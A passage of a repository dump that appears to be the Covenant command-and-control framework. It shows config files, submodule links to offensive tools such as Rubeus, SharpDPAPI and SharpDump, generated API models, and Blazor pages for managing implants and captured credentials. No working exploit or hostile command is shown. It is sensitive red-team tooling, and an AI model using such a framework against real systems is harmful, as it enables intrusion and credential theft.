yaml.js │ │ │ └── z80 │ │ │ │ ├── index.html │ │ │ │ └── z80.js │ │ ├── package.json │ │ ├── rollup.config.js │ │ ├── src │ │ │ ├── addon │ │ │ │ └── runmode │ │ │ │ │ ├── codemirror-standalone.js │ │ │ │ │ ├── codemirror.node.js │ │ │ │ │ ├── runmode-standalone.js │ │ │ │ │ └── runmode.node.js │ │ │ ├── codemirror.js │ │ │ ├── display │ │ │ │ ├── Display.js │ │ │ │ ├── focus.js │ │ │ │ ├── gutters.js │ │ │ │ ├── highlight_worker.js │ │ │ │ ├── line_numbers.js │ │ │ │ ├── mode_state.js │ │ │ │ ├── operations.js │ │ │ │ ├── scroll_events.js │ │ │ │ ├── scrollbars.js │ │ │ │ ├── scrolling.js │ │ │ │ ├── selection.js │ │ │ │ ├── update_display.js │ │ │ │ ├── update_line.js │ │ │ │ ├── update_lines.js │ │ │ │ └── view_tracking.js │ │ │ ├── edit │ │ │ │ ├── CodeMirror.js │ │ │ │ ├── commands.js │ │ │ │ ├── deleteNearSelection.js │ │ │ │ ├── drop_events.js │ │ │ │ ├── fromTextArea.js │ │ │ │ ├── global_events.js │ │ │ │ ├── key_events.js │ │ │ │ ├── legacy.js │ │ │ │ ├── main.js │ │ │ │ ├── methods.js │ │ │ │ ├── mouse_events.js │ │ │ │ ├── options.js │ │ │ │ └── utils.js │ │ │ ├── input │ │ │ │ ├── ContentEditableInput.js │ │ │ │ ├── TextareaInput.js │ │ │ │ ├── indent.js │ │ │ │ ├── input.js │ │ │ │ ├── keymap.js │ │ │ │ ├── keynames.js │ │ │ │ └── movement.js │ │ │ ├── line │ │ │ │ ├── highlight.js │ │ │ │ ├── line_data.js │ │ │ │ ├── pos.js │ │ │ │ ├── saw_special_spans.js │ │ │ │ ├── spans.js │ │ │ │ └── utils_line.js │ │ │ ├── measurement │ │ │ │ ├── position_measurement.js │ │ │ │ └── widgets.js │ │ │ ├── model │ │ │ │ ├── Doc.js │ │ │ │ ├── change_measurement.js │ │ │ │ ├── changes.js │ │ │ │ ├── chunk.js │ │ │ │ ├── document_data.js │ │ │ │ ├── history.js │ │ │ │ ├── line_widget.js │ │ │ │ ├── mark_text.js │ │ │ │ ├── selection.js │ │ │ │ └── selection_updates.js │ │ │ ├── modes.js │ │ │ └── util │ │ │ │ ├── StringStream.js │ │ │ │ ├── bidi.js │ │ │ │ ├── browser.js │ │ │ │ ├── dom.js │ │ │ │ ├── event.js │ │ │ │ ├── feature_detection.js │ │ │ │ ├── misc.js │ │ │ │ └── operation_group.js │ │ ├── test │ │ │ ├── comment_test.js │ │ │ ├── contenteditable_test.js │ │ │ ├── doc_test.js │ │ │ ├── driver.js │ │ │ ├── emacs_test.js │ │ │ ├── html-hint-test.js │ │ │ ├── index.html │ │ │ ├── lint.js │ │ │ ├── mode_test.css │ │ │ ├── mode_test.js │ │ │ ├── multi_test.js │ │ │ ├── run.js │ │ │ ├── scroll_test.js │ │ │ ├── search_test.js │ │ │ ├── sql-hint-test.js │ │ │ ├── sublime_test.js │ │ │ ├── test.js │ │ │ └── vim_test.js │ │ └── theme │ │ │ ├── 3024-day.css │ │ │ ├── 3024-night.css │ │ │ ├── abcdef.css │ │ │ ├── ambiance-mobile.css │ │ │ ├── ambiance.css │ │ │ ├── ayu-dark.css │ │ │ ├── ayu-mirage.css │ │ │ ├── base16-dark.css │ │ │ ├── base16-light.css │ │ │ ├── bespin.css │ │ │ ├── blackboard.css │ │ │ ├── cobalt.css │ │ │ ├── colorforth.css │ │ │ ├── darcula.css │ │ │ ├── dracula.css │ │ │ ├── duotone-dark.css │ │ │ ├── duotone-light.css │ │ │ ├── eclipse.css │ │ │ ├── elegant.css │ │ │ ├── erlang-dark.css │ │ │ ├── gruvbox-dark.css │ │ │ ├── hopscotch.css │ │ │ ├── icecoder.css │ │ │ ├── idea.css │ │ │ ├── isotope.css │ │ │ ├── lesser-dark.css │ │ │ ├── liquibyte.css │ │ │ ├── lucario.css │ │ │ ├── material-darker.css │ │ │ ├── material-ocean.css │ │ │ ├── material-palenight.css │ │ │ ├── material.css │ │ │ ├── mbo.css │ │ │ ├── mdn-like.css │ │ │ ├── midnight.css │ │ │ ├── monokai.css │ │ │ ├── moxer.css │ │ │ ├── neat.css │ │ │ ├── neo.css │ │ │ ├── night.css │ │ │ ├── nord.css │ │ │ ├── oceanic-next.css │ │ │ ├── panda-syntax.css │ │ │ ├── paraiso-dark.css │ │ │ ├── paraiso-light.css │ │ │ ├── pastel-on-dark.css │ │ │ ├── railscasts.css │ │ │ ├── rubyblue.css │ │ │ ├── seti.css │ │ │ ├── shadowfox.css │ │ │ ├── solarized.css │ │ │ ├── ssms.css │ │ │ ├── the-matrix.css │ │ │ ├── tomorrow-night-bright.css │ │ │ ├── tomorrow-night-eighties.css │ │ │ ├── ttcn.css │ │ │ ├── twilight.css │ │ │ ├── vibrant-ink.css │ │ │ ├── xq-dark.css │ │ │ ├── xq-light.css │ │ │ ├── yeti.css │ │ │ ├── yonce.css │ │ │ └── zenburn.css │ ├── feather.css │ └── fonts │ │ ├── Feather.svg │ │ ├── Feather.ttf │ │ └── Feather.woff │ ├── images │ ├── covenant-black.png │ ├── covenant-bluewhite.png │ ├── covenant-white.png │ ├── covenant.png │ ├── favicon.ico │ ├── favicon.svg │ ├── legend-blue.png │ ├── legend-green.png │ └── legend-red.png │ ├── js │ ├── bootstrap-datetimepicker.js │ ├── bootstrap-datetimepicker.min.js │ ├── bootstrap-multiselect.js │ ├── bootstrap-select.min.js │ ├── bootstrap.js │ ├── bootstrap.min.js │ ├── components │ │ └── master.js │ ├── covenant-graph.js │ ├── d3.js │ ├── d3.min.js │ ├── inputfile.js │ ├── jquery.js │ ├── jquery.min.js │ ├── moment.js │ ├── moment.min.js │ ├── popper.min.js │ ├── typeahead.bundle.js │ └── typeahead.bundle.min.js │ └── lib │ └── signalr │ └── dist │ └── browser │ ├── signalr.js │ └── signalr.min.js ├── LICENSE └── README.md /.github/ISSUE_TEMPLATE/issue-template.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Issue Template 3 | about: A template for new issues. 4 | title: "[Bug|Feature Request] Short Description of Issue" 5 | labels: '' 6 | assignees: cobbr 7 | 8 | --- 9 | 10 | **Feature Request or Bug** 11 | Feature Request | Bug 12 | 13 | **Describe the feature request or bug** 14 | A clear and concise description of what the bug is. 15 | 16 | **To Reproduce** 17 | Steps to reproduce the behavior: 18 | 1. Go to '...' 19 | 2. Click on '....' 20 | 3. Scroll down to '....' 21 | 4. See error 22 | 23 | **Expected behavior** 24 | A clear and concise description of what you expected to happen. 25 | 26 | **Screenshots** 27 | If applicable, add screenshots to help explain your problem. 28 | 29 | **Covenant Server Information:** 30 | - OS: [e.g. iOS] 31 | - Docker or Native: [e.g. Native] 32 | 33 | **Browser Information:** 34 | - Browser [e.g. chrome, safari] 35 | - Version [e.g. 22] 36 | 37 | **Target Information (System that implant is running on):** 38 | - OS: [e.g. iOS8.1] 39 | - Version [e.g. 22] 40 | 41 | **Additional context** 42 | Add any other context about the problem here. 43 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Sqlite DB 2 | covenant.db 3 | covenant.db-journal 4 | covenant.db-wal 5 | covenant.db-shm 6 | 7 | # Build results 8 | [Dd]ebug/ 9 | [Dd]ebugPublic/ 10 | [Rr]elease/ 11 | [Rr]eleases/ 12 | x64/ 13 | x86/ 14 | bld/ 15 | [Bb]in/ 16 | [Oo]bj/ 17 | dotnetwarp_temp/ 18 | Optimize/ 19 | _/ 20 | 21 | # Covenant Logs 22 | [Ll]og/ 23 | [Ll]ogs/ 24 | 25 | # Visual Studio cache/options 26 | .vs/ 27 | .vscode/ 28 | *.user 29 | *.userprefs 30 | 31 | # Mac files 32 | *.DS_Store 33 | 34 | # Private keys 35 | *.pfx 36 | 37 | # Public keys 38 | *.cer 39 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "Covenant/Data/ReferenceSourceLibraries/Rubeus"] 2 | path = Covenant/Data/ReferenceSourceLibraries/Rubeus 3 | url = https://github.com/GhostPack/Rubeus 4 | ignore = dirty 5 | [submodule "Covenant/Data/ReferenceSourceLibraries/SharpSploit"] 6 | path = Covenant/Data/ReferenceSourceLibraries/SharpSploit 7 | url = https://github.com/cobbr/SharpSploit 8 | ignore = dirty 9 | [submodule "Covenant/Data/ReferenceSourceLibraries/SharpDPAPI"] 10 | path = Covenant/Data/ReferenceSourceLibraries/SharpDPAPI 11 | url = https://github.com/GhostPack/SharpDPAPI 12 | ignore = dirty 13 | [submodule "Covenant/Data/ReferenceSourceLibraries/SharpUp"] 14 | path = Covenant/Data/ReferenceSourceLibraries/SharpUp 15 | url = https://github.com/GhostPack/SharpUp 16 | ignore = dirty 17 | [submodule "Covenant/Data/ReferenceSourceLibraries/Seatbelt"] 18 | path = Covenant/Data/ReferenceSourceLibraries/Seatbelt 19 | url = https://github.com/GhostPack/Seatbelt 20 | ignore = dirty 21 | [submodule "Covenant/Data/ReferenceSourceLibraries/SharpDump"] 22 | path = Covenant/Data/ReferenceSourceLibraries/SharpDump 23 | url = https://github.com/GhostPack/SharpDump 24 | ignore = dirty 25 | [submodule "Covenant/Data/ReferenceSourceLibraries/SharpWMI"] 26 | path = Covenant/Data/ReferenceSourceLibraries/SharpWMI 27 | url = https://github.com/GhostPack/SharpWMI 28 | ignore = dirty 29 | [submodule "Covenant/Data/ReferenceSourceLibraries/SharpSC"] 30 | path = Covenant/Data/ReferenceSourceLibraries/SharpSC 31 | url = https://github.com/djhohnstein/SharpSC 32 | ignore = dirty 33 | -------------------------------------------------------------------------------- /Covenant.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29519.161 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Covenant", "Covenant\Covenant.csproj", "{D5865774-CD82-4CCE-A3F1-7F2C4639301B}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {D5865774-CD82-4CCE-A3F1-7F2C4639301B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {D5865774-CD82-4CCE-A3F1-7F2C4639301B}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {D5865774-CD82-4CCE-A3F1-7F2C4639301B}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {D5865774-CD82-4CCE-A3F1-7F2C4639301B}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {105B1E42-390C-47A0-9C36-5F0699DAD9C2} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /Covenant/.dockerignore: -------------------------------------------------------------------------------- 1 | **/bin/ 2 | **/out/ 3 | Dockerfile* 4 | **/*.trx 5 | **/*.md 6 | -------------------------------------------------------------------------------- /Covenant/API/Models/CovenantUserLoginResult.cs: -------------------------------------------------------------------------------- 1 | // 2 | // Code generated by Microsoft (R) AutoRest Code Generator. 3 | // Changes may cause incorrect behavior and will be lost if the code is 4 | // regenerated. 5 | // 6 | 7 | namespace Covenant.API.Models 8 | { 9 | using Newtonsoft.Json; 10 | using System.Linq; 11 | 12 | public partial class CovenantUserLoginResult 13 | { 14 | /// 15 | /// Initializes a new instance of the CovenantUserLoginResult class. 16 | /// 17 | public CovenantUserLoginResult() 18 | { 19 | CustomInit(); 20 | } 21 | 22 | /// 23 | /// Initializes a new instance of the CovenantUserLoginResult class. 24 | /// 25 | public CovenantUserLoginResult(bool? success = default(bool?), string covenantToken = default(string)) 26 | { 27 | Success = success; 28 | CovenantToken = covenantToken; 29 | CustomInit(); 30 | } 31 | 32 | /// 33 | /// An initialization method that performs custom operations like setting defaults 34 | /// 35 | partial void CustomInit(); 36 | 37 | /// 38 | /// 39 | [JsonProperty(PropertyName = "success")] 40 | public bool? Success { get; set; } 41 | 42 | /// 43 | /// 44 | [JsonProperty(PropertyName = "covenantToken")] 45 | public string CovenantToken { get; set; } 46 | 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /Covenant/API/Models/EmbeddedResource.cs: -------------------------------------------------------------------------------- 1 | // 2 | // Code generated by Microsoft (R) AutoRest Code Generator. 3 | // Changes may cause incorrect behavior and will be lost if the code is 4 | // regenerated. 5 | // 6 | 7 | namespace Covenant.API.Models 8 | { 9 | using Newtonsoft.Json; 10 | using System.Linq; 11 | 12 | public partial class EmbeddedResource 13 | { 14 | /// 15 | /// Initializes a new instance of the EmbeddedResource class. 16 | /// 17 | public EmbeddedResource() 18 | { 19 | CustomInit(); 20 | } 21 | 22 | /// 23 | /// Initializes a new instance of the EmbeddedResource class. 24 | /// 25 | public EmbeddedResource(int? id = default(int?), string name = default(string), string location = default(string)) 26 | { 27 | Id = id; 28 | Name = name; 29 | Location = location; 30 | CustomInit(); 31 | } 32 | 33 | /// 34 | /// An initialization method that performs custom operations like setting defaults 35 | /// 36 | partial void CustomInit(); 37 | 38 | /// 39 | /// 40 | [JsonProperty(PropertyName = "id")] 41 | public int? Id { get; set; } 42 | 43 | /// 44 | /// 45 | [JsonProperty(PropertyName = "name")] 46 | public string Name { get; set; } 47 | 48 | /// 49 | /// 50 | [JsonProperty(PropertyName = "location")] 51 | public string Location { get; set; } 52 | 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /Covenant/API/Models/HttpProfileHeader.cs: -------------------------------------------------------------------------------- 1 | // 2 | // Code generated by Microsoft (R) AutoRest Code Generator. 3 | // Changes may cause incorrect behavior and will be lost if the code is 4 | // regenerated. 5 | // 6 | 7 | namespace Covenant.API.Models 8 | { 9 | using Newtonsoft.Json; 10 | using System.Linq; 11 | 12 | public partial class HttpProfileHeader 13 | { 14 | /// 15 | /// Initializes a new instance of the HttpProfileHeader class. 16 | /// 17 | public HttpProfileHeader() 18 | { 19 | CustomInit(); 20 | } 21 | 22 | /// 23 | /// Initializes a new instance of the HttpProfileHeader class. 24 | /// 25 | public HttpProfileHeader(string name = default(string), string value = default(string)) 26 | { 27 | Name = name; 28 | Value = value; 29 | CustomInit(); 30 | } 31 | 32 | /// 33 | /// An initialization method that performs custom operations like setting defaults 34 | /// 35 | partial void CustomInit(); 36 | 37 | /// 38 | /// 39 | [JsonProperty(PropertyName = "name")] 40 | public string Name { get; set; } 41 | 42 | /// 43 | /// 44 | [JsonProperty(PropertyName = "value")] 45 | public string Value { get; set; } 46 | 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /Covenant/API/Models/ImplantLanguage.cs: -------------------------------------------------------------------------------- 1 | // 2 | // Code generated by Microsoft (R) AutoRest Code Generator. 3 | // Changes may cause incorrect behavior and will be lost if the code is 4 | // regenerated. 5 | // 6 | 7 | namespace Covenant.API.Models 8 | { 9 | using Newtonsoft.Json; 10 | using Newtonsoft.Json.Converters; 11 | using System.Runtime; 12 | using System.Runtime.Serialization; 13 | 14 | /// 15 | /// Defines values for ImplantLanguage. 16 | /// 17 | [JsonConverter(typeof(StringEnumConverter))] 18 | public enum ImplantLanguage 19 | { 20 | [EnumMember(Value = "CSharp")] 21 | CSharp 22 | } 23 | internal static class ImplantLanguageEnumExtension 24 | { 25 | internal static string ToSerializedValue(this ImplantLanguage? value) 26 | { 27 | return value == null ? null : ((ImplantLanguage)value).ToSerializedValue(); 28 | } 29 | 30 | internal static string ToSerializedValue(this ImplantLanguage value) 31 | { 32 | switch( value ) 33 | { 34 | case ImplantLanguage.CSharp: 35 | return "CSharp"; 36 | } 37 | return null; 38 | } 39 | 40 | internal static ImplantLanguage? ParseImplantLanguage(this string value) 41 | { 42 | switch( value ) 43 | { 44 | case "CSharp": 45 | return ImplantLanguage.CSharp; 46 | } 47 | return null; 48 | } 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /Covenant/API/Models/Indicator.cs: -------------------------------------------------------------------------------- 1 | // 2 | // Code generated by Microsoft (R) AutoRest Code Generator. 3 | // Changes may cause incorrect behavior and will be lost if the code is 4 | // regenerated. 5 | // 6 | 7 | namespace Covenant.API.Models 8 | { 9 | using Newtonsoft.Json; 10 | using System.Linq; 11 | 12 | public partial class Indicator 13 | { 14 | /// 15 | /// Initializes a new instance of the Indicator class. 16 | /// 17 | public Indicator() 18 | { 19 | CustomInit(); 20 | } 21 | 22 | /// 23 | /// Initializes a new instance of the Indicator class. 24 | /// 25 | /// Possible values include: 'FileIndicator', 26 | /// 'NetworkIndicator', 'TargetIndicator' 27 | public Indicator(int? id = default(int?), IndicatorType? type = default(IndicatorType?)) 28 | { 29 | Id = id; 30 | Type = type; 31 | CustomInit(); 32 | } 33 | 34 | /// 35 | /// An initialization method that performs custom operations like setting defaults 36 | /// 37 | partial void CustomInit(); 38 | 39 | /// 40 | /// 41 | [JsonProperty(PropertyName = "id")] 42 | public int? Id { get; set; } 43 | 44 | /// 45 | /// Gets or sets possible values include: 'FileIndicator', 46 | /// 'NetworkIndicator', 'TargetIndicator' 47 | /// 48 | [JsonProperty(PropertyName = "type")] 49 | public IndicatorType? Type { get; set; } 50 | 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /Covenant/API/Models/ListenerType.cs: -------------------------------------------------------------------------------- 1 | // 2 | // Code generated by Microsoft (R) AutoRest Code Generator. 3 | // Changes may cause incorrect behavior and will be lost if the code is 4 | // regenerated. 5 | // 6 | 7 | namespace Covenant.API.Models 8 | { 9 | using Newtonsoft.Json; 10 | using System.Linq; 11 | 12 | public partial class ListenerType 13 | { 14 | /// 15 | /// Initializes a new instance of the ListenerType class. 16 | /// 17 | public ListenerType() 18 | { 19 | CustomInit(); 20 | } 21 | 22 | /// 23 | /// Initializes a new instance of the ListenerType class. 24 | /// 25 | public ListenerType(int? id = default(int?), string name = default(string), string description = default(string)) 26 | { 27 | Id = id; 28 | Name = name; 29 | Description = description; 30 | CustomInit(); 31 | } 32 | 33 | /// 34 | /// An initialization method that performs custom operations like setting defaults 35 | /// 36 | partial void CustomInit(); 37 | 38 | /// 39 | /// 40 | [JsonProperty(PropertyName = "id")] 41 | public int? Id { get; set; } 42 | 43 | /// 44 | /// 45 | [JsonProperty(PropertyName = "name")] 46 | public string Name { get; set; } 47 | 48 | /// 49 | /// 50 | [JsonProperty(PropertyName = "description")] 51 | public string Description { get; set; } 52 | 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /Covenant/API/Models/ProfileType.cs: -------------------------------------------------------------------------------- 1 | // 2 | // Code generated by Microsoft (R) AutoRest Code Generator. 3 | // Changes may cause incorrect behavior and will be lost if the code is 4 | // regenerated. 5 | // 6 | 7 | namespace Covenant.API.Models 8 | { 9 | using Newtonsoft.Json; 10 | using Newtonsoft.Json.Converters; 11 | using System.Runtime; 12 | using System.Runtime.Serialization; 13 | 14 | /// 15 | /// Defines values for ProfileType. 16 | /// 17 | [JsonConverter(typeof(StringEnumConverter))] 18 | public enum ProfileType 19 | { 20 | [EnumMember(Value = "HTTP")] 21 | HTTP, 22 | [EnumMember(Value = "Bridge")] 23 | Bridge 24 | } 25 | internal static class ProfileTypeEnumExtension 26 | { 27 | internal static string ToSerializedValue(this ProfileType? value) 28 | { 29 | return value == null ? null : ((ProfileType)value).ToSerializedValue(); 30 | } 31 | 32 | internal static string ToSerializedValue(this ProfileType value) 33 | { 34 | switch( value ) 35 | { 36 | case ProfileType.HTTP: 37 | return "HTTP"; 38 | case ProfileType.Bridge: 39 | return "Bridge"; 40 | } 41 | return null; 42 | } 43 | 44 | internal static ProfileType? ParseProfileType(this string value) 45 | { 46 | switch( value ) 47 | { 48 | case "HTTP": 49 | return ProfileType.HTTP; 50 | case "Bridge": 51 | return ProfileType.Bridge; 52 | } 53 | return null; 54 | } 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /Covenant/API/Models/StringIdentityUserRole.cs: -------------------------------------------------------------------------------- 1 | // 2 | // Code generated by Microsoft (R) AutoRest Code Generator. 3 | // Changes may cause incorrect behavior and will be lost if the code is 4 | // regenerated. 5 | // 6 | 7 | namespace Covenant.API.Models 8 | { 9 | using Newtonsoft.Json; 10 | using System.Linq; 11 | 12 | public partial class StringIdentityUserRole 13 | { 14 | /// 15 | /// Initializes a new instance of the StringIdentityUserRole class. 16 | /// 17 | public StringIdentityUserRole() 18 | { 19 | CustomInit(); 20 | } 21 | 22 | /// 23 | /// Initializes a new instance of the StringIdentityUserRole class. 24 | /// 25 | public StringIdentityUserRole(string userId = default(string), string roleId = default(string)) 26 | { 27 | UserId = userId; 28 | RoleId = roleId; 29 | CustomInit(); 30 | } 31 | 32 | /// 33 | /// An initialization method that performs custom operations like setting defaults 34 | /// 35 | partial void CustomInit(); 36 | 37 | /// 38 | /// 39 | [JsonProperty(PropertyName = "userId")] 40 | public string UserId { get; set; } 41 | 42 | /// 43 | /// 44 | [JsonProperty(PropertyName = "roleId")] 45 | public string RoleId { get; set; } 46 | 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /Covenant/API/Models/TicketType.cs: -------------------------------------------------------------------------------- 1 | // 2 | // Code generated by Microsoft (R) AutoRest Code Generator. 3 | // Changes may cause incorrect behavior and will be lost if the code is 4 | // regenerated. 5 | // 6 | 7 | namespace Covenant.API.Models 8 | { 9 | using Newtonsoft.Json; 10 | using Newtonsoft.Json.Converters; 11 | using System.Runtime; 12 | using System.Runtime.Serialization; 13 | 14 | /// 15 | /// Defines values for TicketType. 16 | /// 17 | [JsonConverter(typeof(StringEnumConverter))] 18 | public enum TicketType 19 | { 20 | [EnumMember(Value = "RC4")] 21 | RC4, 22 | [EnumMember(Value = "AES")] 23 | AES 24 | } 25 | internal static class TicketTypeEnumExtension 26 | { 27 | internal static string ToSerializedValue(this TicketType? value) 28 | { 29 | return value == null ? null : ((TicketType)value).ToSerializedValue(); 30 | } 31 | 32 | internal static string ToSerializedValue(this TicketType value) 33 | { 34 | switch( value ) 35 | { 36 | case TicketType.RC4: 37 | return "RC4"; 38 | case TicketType.AES: 39 | return "AES"; 40 | } 41 | return null; 42 | } 43 | 44 | internal static TicketType? ParseTicketType(this string value) 45 | { 46 | switch( value ) 47 | { 48 | case "RC4": 49 | return TicketType.RC4; 50 | case "AES": 51 | return TicketType.AES; 52 | } 53 | return null; 54 | } 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /Covenant/Components/App.razor: -------------------------------------------------------------------------------- 1 | @using Microsoft.AspNetCore.Identity 2 | @using Microsoft.AspNetCore.Components.Routing 3 | @using Microsoft.AspNetCore.Components.Authorization 4 | @using Covenant.Core 5 | @using Covenant.Models.Covenant 6 | @using Covenant.Components.Shared 7 | @inject UserManager UserManager 8 | @inject SignInManager SignInManager 9 | @inject AuthenticationStateProvider AuthenticationStateProvider 10 | @inject NavigationManager NavigationManager 11 | @inject ICovenantService ICovenantService 12 | 13 | 14 | 15 | 16 | 17 | 18 |

You are not authorized to view this page, contact a Covenant administrator for more information.

19 |
20 |
21 |
22 | 23 | 24 |

Page not found

25 |

Sorry, but there's nothing here!

26 |
27 |
28 |
29 |
30 | -------------------------------------------------------------------------------- /Covenant/Components/CovenantUsers/CreateCovenantUser.razor: -------------------------------------------------------------------------------- 1 | @page "/covenantuser/create" 2 | @attribute [Authorize(Roles = "Administrator")] 3 | @inherits OwningComponentBase 4 | 5 | @using Microsoft.AspNetCore.Components.Authorization 6 | @using Covenant.Core 7 | @using Covenant.Models.Covenant 8 | @inject AuthenticationStateProvider AuthenticationStateProvider 9 | @inject NavigationManager NavigationManager 10 | 11 |
12 |

Create User

13 |
14 | 15 | 16 | Create 17 | 18 | 19 | @code { 20 | [Parameter] 21 | public CovenantUserRegister CovenantUserRegister { get; set; } = new CovenantUserRegister(); 22 | 23 | public async Task OnCreateUser(CovenantUserRegister register) 24 | { 25 | try 26 | { 27 | AuthenticationState state = await AuthenticationStateProvider.GetAuthenticationStateAsync(); 28 | await Service.CreateUserVerify(state.User, register); 29 | NavigationManager.NavigateTo("/covenantuser"); 30 | } 31 | catch (Exception e) when (e is ControllerNotFoundException || e is ControllerBadRequestException || e is ControllerUnauthorizedException) 32 | { 33 | // ModelState.AddModelError(string.Empty, e.Message); 34 | // return RedirectToAction(nameof(Index)); 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /Covenant/Components/CovenantUsers/Logout.razor: -------------------------------------------------------------------------------- 1 | @using Covenant.Models.Covenant 2 | @using Microsoft.AspNetCore.Identity 3 | @inject NavigationManager NavigationManager 4 | @inject SignInManager SignInManager 5 | 6 | @code { 7 | protected override async Task OnInitializedAsync() 8 | { 9 | await SignInManager.SignOutAsync(); 10 | NavigationManager.NavigateTo("/covenantuser/login"); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /Covenant/Components/CovenantUsers/RedirectToLogin.razor: -------------------------------------------------------------------------------- 1 | @using Microsoft.JSInterop 2 | @inject NavigationManager NavigationManager 3 | @inject IJSRuntime IJSRuntime 4 | 5 | @code { 6 | protected override void OnInitialized() 7 | { 8 | try 9 | { 10 | NavigationManager.NavigateTo("/covenantuser/login"); 11 | } 12 | catch (NavigationException) { } 13 | } 14 | 15 | protected override async Task OnAfterRenderAsync(bool firstRender) 16 | { 17 | await IJSRuntime.InvokeAsync("RedirectToUrl", "/covenantuser/login"); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /Covenant/Components/Credentials/CreateCredential.razor: -------------------------------------------------------------------------------- 1 | @page "/credential/create" 2 | @attribute [Authorize(Roles = "User, Administrator")] 3 | @inherits OwningComponentBase 4 | 5 | @using Covenant.Core 6 | @using Covenant.Models.Covenant 7 | @inject NavigationManager NavigationManager 8 | 9 |
10 |

Create Credential

11 |
12 | 13 | 14 | 15 | @code { 16 | [Parameter] 17 | public CapturedCredential Credential { get; set; } = new CapturedPasswordCredential(); 18 | 19 | private async Task OnCreate(CapturedCredential credential) 20 | { 21 | switch (credential.Type) 22 | { 23 | case CredentialType.Password: 24 | this.Credential = await Service.CreatePasswordCredential((CapturedPasswordCredential)credential); 25 | break; 26 | case CredentialType.Hash: 27 | this.Credential = await Service.CreateHashCredential((CapturedHashCredential)credential); 28 | break; 29 | case CredentialType.Ticket: 30 | this.Credential = await Service.CreateTicketCredential((CapturedTicketCredential)credential); 31 | break; 32 | } 33 | NavigationManager.NavigateTo("/data"); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /Covenant/Components/Credentials/CredentialTables.razor: -------------------------------------------------------------------------------- 1 | @using Covenant.Models.Covenant 2 | 3 |
4 |

Password Credentials

5 |
6 | 7 | 8 | 9 |
10 |

Hash Credentials

11 |
12 | 13 | 14 | 15 |
16 |

Ticket Credentials

17 |
18 | 19 | 20 | 21 | @code { 22 | [Parameter] 23 | public IEnumerable PasswordCredentials { get; set; } 24 | 25 | [Parameter] 26 | public IEnumerable HashCredentials { get; set; } 27 | 28 | [Parameter] 29 | public IEnumerable TicketCredentials { get; set; } 30 | } 31 | -------------------------------------------------------------------------------- /Covenant/Components/EmbeddedResources/CreateEmbeddedResource.razor: -------------------------------------------------------------------------------- 1 | @page "/embeddedresource/create" 2 | @attribute [Authorize(Roles = "User, Administrator")] 3 | @inherits OwningComponentBase 4 | 5 | @using Covenant.Core 6 | @using Covenant.Models.Grunts 7 | @inject NavigationManager NavigationManager 8 | 9 |
10 |

Create EmbeddedResource

11 |
12 | 13 | 14 | 15 | @code { 16 | [Parameter] 17 | public EmbeddedResource EmbeddedResource { get; set; } 18 | 19 | protected override void OnInitialized() 20 | { 21 | this.EmbeddedResource = this.EmbeddedResource ?? new EmbeddedResource(); 22 | } 23 | 24 | public async Task OnCreate(EmbeddedResource resource) 25 | { 26 | try 27 | { 28 | this.EmbeddedResource = await Service.CreateEmbeddedResource(resource); 29 | NavigationManager.NavigateTo("/grunttask"); 30 | } 31 | catch (Exception e) when (e is ControllerNotFoundException || e is ControllerBadRequestException || e is ControllerUnauthorizedException) 32 | { 33 | // return RedirectToAction(nameof(Edit), new { id = libraryModel.Id }); 34 | } 35 | } 36 | } -------------------------------------------------------------------------------- /Covenant/Components/EmbeddedResources/EditEmbeddedResource.razor: -------------------------------------------------------------------------------- 1 | @page "/embeddedresource/edit/{EmbeddedResourceId:int}" 2 | @attribute [Authorize(Roles = "User, Administrator")] 3 | @inherits OwningComponentBase 4 | 5 | @using Covenant.Core 6 | @using Covenant.Models.Grunts 7 | @inject NavigationManager NavigationManager 8 | 9 |
10 |

EmbeddedResource: @EmbeddedResource.Name

11 |
12 | 13 | 14 | 15 | @code { 16 | [Parameter] 17 | public int EmbeddedResourceId { get; set; } 18 | 19 | [Parameter] 20 | public EmbeddedResource EmbeddedResource { get; set; } 21 | 22 | protected override async Task OnInitializedAsync() 23 | { 24 | this.EmbeddedResource = this.EmbeddedResource ?? await Service.GetEmbeddedResource(this.EmbeddedResourceId); 25 | } 26 | 27 | public async Task OnEdit(EmbeddedResource resource) 28 | { 29 | try 30 | { 31 | await Service.EditEmbeddedResource(resource); 32 | NavigationManager.NavigateTo("/grunttask"); 33 | } 34 | catch (Exception e) when (e is ControllerNotFoundException || e is ControllerBadRequestException || e is ControllerUnauthorizedException) 35 | { 36 | // return RedirectToAction(nameof(Edit), new { id = resource.Id }); 37 | } 38 | } 39 | } -------------------------------------------------------------------------------- /Covenant/Components/EmbeddedResources/EmbeddedResourceForm.razor: -------------------------------------------------------------------------------- 1 | @using 